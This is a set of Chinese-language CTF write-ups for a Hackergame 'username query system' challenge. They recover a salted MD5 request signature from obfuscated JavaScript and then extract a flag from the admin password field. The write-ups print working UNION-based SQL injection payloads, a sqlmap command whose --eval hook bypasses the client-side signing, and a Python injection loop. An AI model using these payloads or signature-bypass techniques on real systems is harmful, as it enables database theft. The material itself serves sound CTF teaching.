用户名查询系统

此题第一步是分析混淆后的 javascript 代码,采用打 XHR breakpoint 的方法,发现签名的算法是:

sign = md5(“hackergame15072797441”+s+“1507279744hackergame”)

向服务器发送的 s= text + “|” + sign

然后利用 s 注入即可:

这个注入是一个很常规的注入,依次得到数据库名,表名,列名即可,最后的 flag 位于 admin 的 password 字段。

payload("-1 union (SELECT DATABASE() FROM INFORMATION_SCHEMA.SCHEMATA)")

数据库名 ‘app’

payload("-1 union (SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='app')")

表名 ‘user’

payload("-1 union (SELECT GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='app' AND table_name='user')")

字段名 ‘id,username,password’

payload("-1 union (SELECT GROUP_CONCAT(username) FROM app.user)")

用户名 ‘admin,hejiyan’

payload("-1 union (SELECT GROUP_CONCAT(password) FROM app.user)")

密码:'flag{de056e7ae812f8329eab1f829585679c},the author'

有同学问可不可以用 sqlmap?当然可以啦,明白 sign 的生成之后自己写一个 sqlmap 的 tamper 就好了,分分钟过掉这道题。

陶柯宇 17级

首先它会有对 input typesign lengthsign 的校验。输入 1 和 2 会有结果,其它都没有。查看网络请求可以看到(示例):

http://hack.lug.ustc.edu.cn/dynamic/2/ajax.php?s=1|a46ba29bc43e55476733b414ebbfa54e

很明显,拿 sqlmap 暴力瞎扫是不可行的,毕竟是有校验的(也发现了 sign 不是符号,而是签名(signature)的缩写)。直接在文本框中输入特殊符号会失败(连空格都不行)。

所以我们只能在 JS 代码上找突破口,但是……代码被混淆过了。

game_with_cloud1

嗯……其实在控制台的帮助下,我们可以解出一部分的代码,大致看看它到底会做什么。在进行了一次又一次单调的工作之后,可以发现:

  1. sign 是 MD5 加盐的。
  2. 数据过滤(特殊符号加上 select 等 SQL 查询语句)是在本地进行的,也就是说,服务器很可能不会对数据中的字符进行校验。(不然题目就没法做了)

在我们大致搞出来后,我们可以破坏 JS 的本地校验,把 replace 替换成这种鬼样子:

for (var n = RegExp("zzzzzzzzzzzz"), t = "", r = 0; r < _["length"]; r++)
    t += _["substr"](r, 1)["replace"](n, "")
return t = t["replace"]( /*"select"*/ "selact", ""),
    t = t["replace"]( /*" "*/ "selact", ""),
    t = t["replace"]( /*union*/ "unoin", ""),
    t = t["replace"]( /*"where"*/ "whare", ""),
    t = t["replace"]( /*"password"*/ "passward", "")
// 代码是处理过的,源代码真的不想再看了,自己找一下吧😂

那么我的思路就是:使用 sqlmap 配合这段 JS 来搞事情。

查询资料可知 sqlmap--eval 参数,可以插入自定义的 Python 语句。所以我们可以用 Python 来调用 Node.js 来执行这段 JS。

首先继续修改 JS:将 document["getElementById"]("input1")["onkeyup"] 部分删掉,因为 Node.js 里面没有 document。再把 XMLHttpRequest 部分删掉,因为我们没必要在 JS 里向远程服务器发送请求。b() 就直接把 r 返回来。最后用 npm 安装一下模块 js-md5 ,在开头加:

md5 = require('js-md5');

来正常使用 md5 函数。

我们希望用命令行参数的形式向 JS 脚本发送希望编码的字符串,所以在原本 document 的地方加上(我们用双引号扩上字符串,以下均在类 Unix 的 Shell 中进行):

console.log(b(process.argv[2]))

然后是写调用 Python 脚本。安装 Naked(执行 Node.js 脚本) 与 shellescape (处理转义字符)模块。我们的语句大致是这个样子:

from Naked.toolshed.shell import muterun_js;from shellescape import quote;s = muterun_js("Problem2.js {}".format(quote(s))).stdout.strip()

(假设 JS 文件名为 Problem2.js)

接下来上 sqlmap 扫一通,最终的命令是这个样子的:

python2.7 /usr/local/bin/sqlmap -u "http://hack.lug.ustc.edu.cn/dynamic/2/ajax.php?s=1" -o -T user -C id,username,password --dump --eval="from Naked.toolshed.shell import muterun_js;from shellescape import quote;s = muterun_js(\"Problem2.js {}\".format(quote(s))).stdout.strip()"

最后拿到 flag:

flag{de056e7ae812f8329eab1f829585679c}

CancerGary 17级 校外同学

交互式注入工具(雾)

import requests,hashlib
while True:
    s=input(">>>")
    res=requests.get("http://hack.lug.ustc.edu.cn/dynamic/2/ajax.php",params={'s':'{}|{}'.format(s,hashlib.md5(("hackergame1507279744%s1507279744hackergame"%s).encode()).hexdigest())})
    print(res.text)

results matching ""

    No results matching ""